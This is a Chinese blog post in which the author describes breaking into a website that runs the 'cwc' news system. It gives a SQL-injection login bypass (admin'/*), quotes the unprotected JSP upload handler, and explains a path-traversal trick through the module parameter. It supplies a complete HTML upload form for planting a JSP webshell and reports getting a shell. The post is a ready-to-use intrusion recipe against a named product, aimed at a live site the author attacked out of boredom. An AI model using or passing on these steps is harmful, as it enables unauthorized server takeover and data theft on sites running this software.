轉載請註明出處:http://write.blog.csdn.net/postedit/7170056
昨天在無聊搞了一個網站,使用的是cwc新聞系統,黑盒搞了半天,只有些sql注入漏洞,沒法上傳木馬,就下了一套源碼看了一下,發現了一個可以上傳jsp木馬的地方,所以寫下來。
這套系統注入非常多,登錄頁面在cwc_news/login.jsp,用戶名輸入:admin'/*,密碼隨便寫,就可以進後臺(圖1)。
圖1
下面我們看存在上傳jsp木馬漏洞的文件upload_module_post.jsp,主要代碼如下:
<%
String msg = "Be successful!";
mySmartUpload.initialize(pageContext);
mySmartUpload.upload();
com.jspsmart.upload.File myFile = mySmartUpload.getFiles().getFile(0);
if (myFile.getFileExt().equals("jsp") || myFile.getFileExt().equals("JSP"))
if (myFile.getSize() < 300*1024)
if (!myFile.isMissing()) {
String path = request.getRealPath(".");
myFile.saveAs(path + "/module/" + request.getParameter("module") + "/detail_news.jsp");
}
else {
msg = "False,to try again!";
}
else {
msg = "File size over" + 300 + "K!";
}
else {
msg = "Only can be upload JSP file,your file type is " + myFile.getFileExt();
}
response.sendRedirect("control_module.jsp?msg=" + msg);
%>
這個jsp文件是用於管理員上傳新聞發佈模板的,可以看到文件並沒有驗證session,就算是驗證了,我們也可以通過注入進入後臺得到管理員的session,文件首先判斷是否是jsp文件,如果是而且大小合法的話,就保存到module的子文件夾裏,子文件夾的名稱是我們通過參數傳過去的,看看源碼包裏module裏有什麼文件夾(圖2)。
圖2
但是這裏我也不知道網站上是否有這些子文件夾,而且如果文件夾裏已經有了detail_news.jsp文件,我們上傳的文件是沒法創建的,沒關係,程序並沒有對用戶傳遞的數據進行過濾,我們完全可以提交.../來跳一層文件夾,這樣我們的木馬路徑就是http://www.test.com/cwc_news/detail_news.jsp,我們測試一下,構造一個表單如下:
<html>
<body>
<form action="http://www.test.com/cwc_news/upload_module_post.jsp?module=../" method="post" enctype="multipart/form-data" name="form1">
<input name="file_data" type="file" id="file_data">
<input type="submit" name="Submit" value="上傳">
</form>
</body>
</html>
提交後成功得到webshell(圖3)。
圖3